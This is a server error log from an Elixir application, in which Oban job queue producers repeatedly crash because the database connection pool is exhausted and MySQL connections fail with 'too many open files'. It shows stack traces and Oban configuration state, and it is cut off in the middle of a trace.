    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:45:47.240010Z], limit: 5, uuid: "b865293d-f57a-4c9f-964b-8e374b332460", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:47.240017Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.215113>, refresh_timer: #Reference<0.2525715032.1121189889.90959>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:59.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 845ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:45:47.240118Z], limit: 5, uuid: "64ee93cf-898a-463e-a46d-f21cb20c50f8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:47.240124Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.215110>, refresh_timer: #Reference<0.2525715032.1077411843.215075>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:59.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:45:47.239661Z], limit: 10, uuid: "59c49a3a-2b14-446b-a9e7-f8529bbf2a2a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:47.239666Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.215112>, refresh_timer: #Reference<0.2525715032.1121189889.90949>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:59.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 837ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:45:47.239511Z], limit: 20, uuid: "bd0a5b32-a7fc-4c16-b72c-cdfe170ebc4d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:47.239517Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.90977>, refresh_timer: #Reference<0.2525715032.1121189889.90948>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:59.350000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:59.402000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:46:03.872000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:46:04.956000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:46:05.247000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:46:07.049000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:46:09.042000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:46:09.836000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:46:11.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1082ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:45:59.242944Z], limit: 20, uuid: "d5604e97-44d7-4f9d-bd1f-2f4256bad033", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:59.242950Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.91218>, refresh_timer: #Reference<0.2525715032.1077411843.215463>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:46:11.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 819ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:45:59.241238Z], limit: 5, uuid: "48f66b9d-79d7-408e-85e9-f0cd48ba89bf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:59.241243Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.91219>, refresh_timer: #Reference<0.2525715032.1068236804.235003>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:46:11.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1080ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:45:59.240884Z], limit: 50, uuid: "68afae3d-e2c1-4229-a96a-b1e604683394", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:59.240891Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.215484>, refresh_timer: #Reference<0.2525715032.1068236804.235002>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:46:11.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 879ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:45:59.241586Z], limit: 5, uuid: "b4251c9e-64e6-4dd9-b9e1-8fca01483e85", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:59.241592Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.91216>, refresh_timer: #Reference<0.2525715032.1099169794.243405>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:46:11.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:45:59.242723Z], limit: 10, uuid: "82fc2831-740c-4b35-a5c7-0b5ab309325e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:59.242729Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.91215>, refresh_timer: #Reference<0.2525715032.1121189889.91205>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:46:11.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1056ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
